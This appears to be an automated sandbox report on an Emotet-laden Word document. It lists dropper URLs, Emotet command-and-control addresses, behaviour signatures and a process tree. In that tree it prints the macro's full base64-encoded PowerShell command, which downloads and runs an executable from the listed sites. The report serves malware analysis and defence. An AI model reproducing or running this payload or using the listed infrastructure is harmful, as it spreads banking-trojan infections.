Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    111s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    21/08/2020, 10:30

Sharing

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General

  • Target
    emotet_e3_d5319b8e57553df961d62f963f34f36ac87341ccd45ddbfb09676b7338d87dc8_2020-08-21__102936._doc.doc
  • Size 177KB
  • Sample200821-s8kfcnt222
  • SHA256 d5319b8e57553df961d62f963f34f36ac87341ccd45ddbfb09676b7338d87dc8
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://hshub.org/images/trjTKqVztZvqg/
  • exe.dropper

    http://ibda.adv.br/multifunctional_section/QiOJ/
  • exe.dropper

    http://hottco.com/stats/grxbCpeVQfAc/
  • exe.dropper

    https://laminingraphics.co.za/wp-admin/x2ldrf235972/
  • exe.dropper

    http://kanchpurcity.com/open-resource/MWHLpS/
  • exe.dropper

    https://mensterritory.online/temp/ghmmtbiwiuo747/
  • exe.dropper

    http://prowaysitsolutions.com/wp-content/QJGdfKkAe/

Extracted

Family

  • emotet

C2

  • 173.94.215.84:80

  • 85.25.207.108:8080

  • 178.128.14.92:8080

  • 60.125.114.64:443

  • 181.126.54.234:80

  • 157.7.164.178:8081

  • 95.216.205.155:8080

  • 216.75.37.196:8080

  • 179.62.238.49:80

  • 71.57.180.213:80

  • 172.96.190.154:8080

  • 112.78.142.170:80

  • 178.238.232.46:443

  • 177.144.130.105:443

  • 105.209.235.113:8080

  • 46.105.131.68:8080

  • 185.86.148.68:443

  • 143.95.101.72:8080

  • 75.127.14.170:8080

  • 168.0.97.6:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_d5319b8e57553df961d62f963f34f36ac87341ccd45ddbfb09676b7338d87dc8_2020-08-21__102936._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1440
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABXAGwAZwBlAHIAeQBpAD0AKAAnAEoAMQBwAGkAJwArACcAeABrADYAJwApADsALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBpAHQAZQBtACcAKQAgACQAZQBOAFYAOgB0AGUAbQBQAFwAbwBmAEYASQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBjAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAYABVAFIAaQB0AFkAYABwAFIATwB0AE8AYABDAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxADIALAAgAHQAbABzADEAMQAsACcAKwAnACAAJwArACcAdABsAHMAJwApADsAJABYAGsAbgA5AGgAagBiACAAPQAgACgAJwBLACcAKwAnAHYAJwArACcAMwBrAHYAZwAnACkAOwAkAEoAMgA3ADkAdABrADkAPQAoACcATwAnACsAJwBmACcAKwAnAGQAbwB3AHYAcwAnACkAOwAkAEYAdABjAGcAdwB0ADcAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAG8ATAAnACsAJwB5AE8AJwArACcAZgBmACcAKwAnAGkAYwBlADIAMAAxACcAKwAnADkAbwBMAHkAJwApAC4AIgByAEUAYABwAGwAQQBDAGUAIgAoACcAbwBMAHkAJwAsAFsAcwBUAHIAaQBOAGcAXQBbAEMASABhAFIAXQA5ADIAKQApACsAJABYAGsAbgA5AGgAagBiACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABPAGsAYQA1ADgAZQB4AD0AKAAnAFEAcABnACcAKwAnAHQAJwArACcAeAByADMAJwApADsAJABYAGEAdwAwADQAeQBuAD0ALgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAVAAuAHcAZQBCAEMAbABJAGUAbgB0ADsAJABXAHcANgA1ADQAeAA2AD0AKAAnAGgAJwArACcAdAB0ACcAKwAnAHAAOgAvAC8AaABzACcAKwAnAGgAdQBiAC4AbwByACcAKwAnAGcAJwArACcALwBpAG0AJwArACcAYQBnAGUAcwAvAHQAcgAnACsAJwBqAFQASwBxACcAKwAnAFYAegB0AFoAdgBxACcAKwAnAGcALwAnACsAJwAqAGgAdAB0AHAAOgAvAC8AaQBiAGQAJwArACcAYQAuACcAKwAnAGEAZAB2AC4AYgByAC8AbQB1AGwAdAAnACsAJwBpAGYAdQAnACsAJwBuAGMAdABpAG8AbgBhAGwAJwArACcAXwAnACsAJwBzAGUAYwB0AGkAbwBuAC8AUQBpAE8ASgAvACoAaAB0ACcAKwAnAHQAcAA6AC8ALwBoAG8AdAB0AGMAbwAuACcAKwAnAGMAJwArACcAbwBtAC8AcwB0AGEAdABzAC8AZwByAHgAYgBDAHAAZQAnACsAJwBWACcAKwAnAFEAZgBBAGMAJwArACcALwAqAGgAdAB0AHAAcwA6AC8ALwBsAGEAJwArACcAbQBpAG4AaQBuAGcAcgBhACcAKwAnAHAAaABpAGMAcwAuACcAKwAnAGMAbwAnACsAJwAuAHoAYQAvAHcAcAAtAGEAZABtAGkAbgAnACsAJwAvACcAKwAnAHgAMgBsAGQAcgBmADIAMwA1ADkAJwArACcANwAyAC8AKgBoAHQAdABwADoAJwArACcALwAvAGsAJwArACcAYQAnACsAJwBuAGMAaABwAHUAcgBjAGkAdAB5AC4AYwBvACcAKwAnAG0ALwBvAHAAZQAnACsAJwBuACcAKwAnAC0AcgBlAHMAbwB1AHIAYwBlAC8ATQBXAEgAJwArACcATABwAFMALwAqAGgAdAB0AHAAcwA6AC8ALwAnACsAJwBtACcAKwAnAGUAbgBzAHQAJwArACcAZQByAHIAaQB0AG8AJwArACcAcgB5ACcAKwAnAC4AJwArACcAbwBuAGwAaQBuAGUALwB0ACcAKwAnAGUAbQBwAC8AZwAnACsAJwBoAG0AJwArACcAbQB0ACcAKwAnAGIAaQB3ACcAKwAnAGkAdQBvADcANAA3AC8AKgBoAHQAJwArACcAdABwADoALwAvAHAAcgBvAHcAYQAnACsAJwB5AHMAaQB0AHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALwB3AHAALQAnACsAJwBjAG8AJwArACcAbgAnACsAJwB0AGUAbgB0AC8AJwArACcAUQBKAEcAZABmACcAKwAnAEsAawBBAGUAJwArACcALwAnACkALgAiAHMAcABgAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgBqADUAbwB2ADEAegA9ACgAJwBLACcAKwAnAG0ANgBkACcAKwAnAHQAOABpACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFUAaABvAGkAOQAyAHcAIABpAG4AIAAkAFcAdwA2ADUANAB4ADYAKQB7AHQAcgB5AHsAJABYAGEAdwAwADQAeQBuAC4AIgBkAE8AVwBgAE4ATABvAGAAQQBEAEYAYABpAEwARQAiACgAJABVAGgAbwBpADkAMgB3ACwAIAAkAEYAdABjAGcAdwB0ADcAKQA7ACQAWABiAGkAXwB2AG4AZgA9ACgAJwBDACcAKwAnAHQAJwArACcAbABkAGUAcAAyACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABGAHQAYwBnAHcAdAA3ACkALgAiAGwAYABFAE4AZwB0AGgAIgAgAC0AZwBlACAAMgAxADUAMgAzACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AJwArACcAawBlAC0ASQB0AGUAbQAnACkAKAAkAEYAdABjAGcAdwB0ADcAKQA7ACQASwAxAG4AMgBlADAANQA9ACgAJwBHAG8AJwArACcAdgBqACcAKwAnAHUANQAxACcAKQA7AGIAcgBlAGEAawA7ACQATwB3AHcAagAzAGYAawA9ACgAJwBQAGwAYwBwAHcAeQAnACsAJwBhACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQB6AGYAZwA3ADYANAA9ACgAJwBLAG8AbQBfAHUAJwArACcAXwB0ACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1792
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Kv3kvg.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Kv3kvg.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1832
      • C:\Windows\SysWOW64\schannel\wavemsp.exe
        "C:\Windows\SysWOW64\schannel\wavemsp.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1648

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1440-3-0x0000000007270000-0x0000000007470000-memory.dmp
        Download

        memory/1440-4-0x0000000007270000-0x0000000007470000-memory.dmp
        Download

        memory/1440-5-0x000000000AE50000-0x000000000AE54000-memory.dmp
        Download

        memory/1440-6-0x000000000BED0000-0x000000000BED4000-memory.dmp
        Download

        memory/1440-7-0x0000000007270000-0x0000000007470000-memory.dmp
        Download

        memory/1440-2-0x0000000008980000-0x0000000008984000-memory.dmp
        Download

        memory/1648-21-0x0000000000230000-0x000000000023C000-memory.dmp
        Download

        memory/1792-12-0x0000000002600000-0x0000000002601000-memory.dmp
        Download

        memory/1792-14-0x000000001C510000-0x000000001C511000-memory.dmp
        Download

        memory/1792-13-0x000000001C350000-0x000000001C351000-memory.dmp
        Download

        memory/1792-11-0x00000000024A0000-0x00000000024A1000-memory.dmp
        Download

        memory/1792-10-0x000000001ACA0000-0x000000001ACA1000-memory.dmp
        Download

        memory/1792-9-0x00000000025C0000-0x00000000025C1000-memory.dmp
        Download

        memory/1792-8-0x000007FEF1BA0000-0x000007FEF258C000-memory.dmp
        Download

        memory/1832-17-0x00000000001C0000-0x00000000001CC000-memory.dmp
        Download

        memory/1992-22-0x000007FEF22C0000-0x000007FEF253A000-memory.dmp
        Download